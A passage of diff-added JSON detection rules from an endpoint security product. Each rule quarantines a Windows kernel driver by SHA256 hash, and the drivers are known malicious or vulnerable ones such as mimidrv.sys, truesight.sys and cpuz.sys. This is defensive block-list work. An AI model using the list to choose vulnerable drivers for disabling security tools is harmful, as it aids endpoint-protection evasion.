+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29a04c696d544e36b5b5b054b3bfa8c7a5bc2aa261c48eded8f0265d82ec9157",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "394e7ac3-b70b-5bee-9bae-796522e7b8bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155101Z",
+  "creation_date": "2026-03-23T11:45:31.155104Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a60d45a4456ca9eba653112533846099bd7b92da8ded755d03cad359a4a78f7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39587e0b-0903-5162-8ac7-a823897e6fd3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977296Z",
+  "creation_date": "2026-03-23T11:45:29.977298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977303Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45b969ae1b381716a29cd509622470b5b20b70c7efe4c9b7c0568faa298605ff",
+  "comment": "Malicious CopperStealer Rootkit (aka windbg.sys) [https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "395d77d8-ebf5-539e-9aa0-f6f3e82c357c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981541Z",
+  "creation_date": "2026-03-23T11:45:29.981554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4582adb2e67eebaff755ae740c1f24bc3af78e0f28e8e8decb99f86bf155ab23",
+  "comment": "Vulnerable Kernel Driver (aka HpPortIox64.sys) [https://www.loldrivers.io/drivers/13637210-2e1c-45a4-9f76-fe38c3c34264/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "395fe212-9a74-599d-8698-ad670a25bc0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978371Z",
+  "creation_date": "2026-03-23T11:45:29.978373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978378Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e274df646f191d2705c0beaa35eeea84808593c3b333809f13632782e27ad75",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "397a1f1e-152a-535d-95ce-06c4560fbd44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147841Z",
+  "creation_date": "2026-03-23T11:45:31.147843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65f4d41cef7323a54f35954173de466c15b0a07219bc7810881f362576736b1a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39801d61-de27-5902-ae06-b7cdff2dc6ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156603Z",
+  "creation_date": "2026-03-23T11:45:31.156605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d525a8d02162425964da64cb71cb2e268efe4bef4159b1ec9948eb791339363e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39812975-ad2f-58bc-b565-2a7d184e24f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971561Z",
+  "creation_date": "2026-03-23T11:45:29.971563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "950b672d3300bcacefe568156fbc8b16fa09da13df2f6ecda31254faaaf041f9",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3982ea71-9589-5dce-bcf5-2cddfa792d34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475129Z",
+  "creation_date": "2026-03-23T11:45:30.475133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475142Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "632d62103706b29f10ee8d88c39b5963d9fe388227e78c250e8011c1a43f266b",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "398b0af0-2ef7-5230-b9c1-74a683d3cb7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980151Z",
+  "creation_date": "2026-03-23T11:45:29.980152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dafa4459d88a8ab738b003b70953e0780f6b8f09344ce3cd631af70c78310b53",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "398d919d-df91-5e06-93fc-45ad0f0a8fc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150547Z",
+  "creation_date": "2026-03-23T11:45:31.150549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45ebf3df2b59032512b2b55fd5db17e777ca5fd36acccb31ff441c5d3531cb8a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "399b0dba-0247-583e-99dc-0dea7832a84d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476116Z",
+  "creation_date": "2026-03-23T11:45:31.476120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476129Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bed01ddc465cc807cd0dda20a0dab4d8c750c98fc23956e632c813e1f387195",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39a1eca2-d176-575a-ac93-2b13941f26be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977852Z",
+  "creation_date": "2026-03-23T11:45:29.977854Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977859Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0",
+  "comment": "Vulnerable Kernel Driver (aka driver7-x86.sys) [https://www.loldrivers.io/drivers/670dc258-78b5-4552-a16b-b41917c86f8d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39a79daa-7633-53f7-abe0-311ac3ca5a06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154769Z",
+  "creation_date": "2026-03-23T11:45:31.154771Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154776Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "480eda1cfe3d0dac4782590399966ca677f2e3094ad2cdbb9c79a4199f3b9840",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39a8a443-3b4f-5eec-a6e8-a90f7c0336c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463914Z",
+  "creation_date": "2026-03-23T11:45:30.463917Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40556dd9b79b755cc0b48d3d024ceb15bd2c0e04960062ab2a85cd7d4d1b724a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39b7c3c7-d04f-5949-bea8-eec49ceb274c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814185Z",
+  "creation_date": "2026-03-23T11:45:31.814188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79d2dd6c0e03728a542dfb2c8c2b4f52c1049ac96ce8dd7408f8e6452d0330e3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39b89cb3-f926-5a53-a955-78b6fca09343",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982801Z",
+  "creation_date": "2026-03-23T11:45:29.982803Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982808Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0e74f565237c32989cb81234f4b5ad85f9dd731c112847c0a143d771021cb99",
+  "comment": "Vulnerable Kernel Driver (aka ProxyDrv.sys) [https://www.loldrivers.io/drivers/0e3b0052-18c7-4c8b-a064-a1332df07af2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39cb026c-6be2-5b35-ada2-eca51acbb39e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611796Z",
+  "creation_date": "2026-03-23T11:45:29.611798Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611803Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33b88ac3151f2192eaf4c2be3c7ad00e49090c8b94ec51b754e19ac784b087aa",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz141_x64.sys) [CVE-2017-15303] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39d35dc2-0596-5f83-b0a0-f239b4d4b9d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822437Z",
+  "creation_date": "2026-03-23T11:45:31.822441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822449Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0cace0bf30720a79c34ad1c253313a35e15ab9f7257d0fea6b9a6b8d61f7b23",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39dd0f2e-cb03-5457-8d53-e614cd5b7acb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145782Z",
+  "creation_date": "2026-03-23T11:45:31.145784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "542d3172a05ce27d264e46e05da66101781c5e8cf802196c89effc7d9c0509be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39de56a7-0cb8-5671-a1f7-dbc017c030d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821442Z",
+  "creation_date": "2026-03-23T11:45:30.821445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31ffc8218a52c3276bece1e5bac7fcb638dca0bc95c2d385511958abdbe4e4a5",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39f6f5dd-9ea9-57ed-8462-875caf1faf74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834379Z",
+  "creation_date": "2026-03-23T11:45:30.834383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f66b8cb2bde015e2a031fa395bcb0d6920f7b55e229a5c88e0ec5772708a9dbe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "39f7c046-3d67-504c-96af-05c5d4750b48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151178Z",
+  "creation_date": "2026-03-23T11:45:31.151180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c14d101cf793d7de96dc1d2551bf5e4747e7a80b2c1878116321024be257bb0",
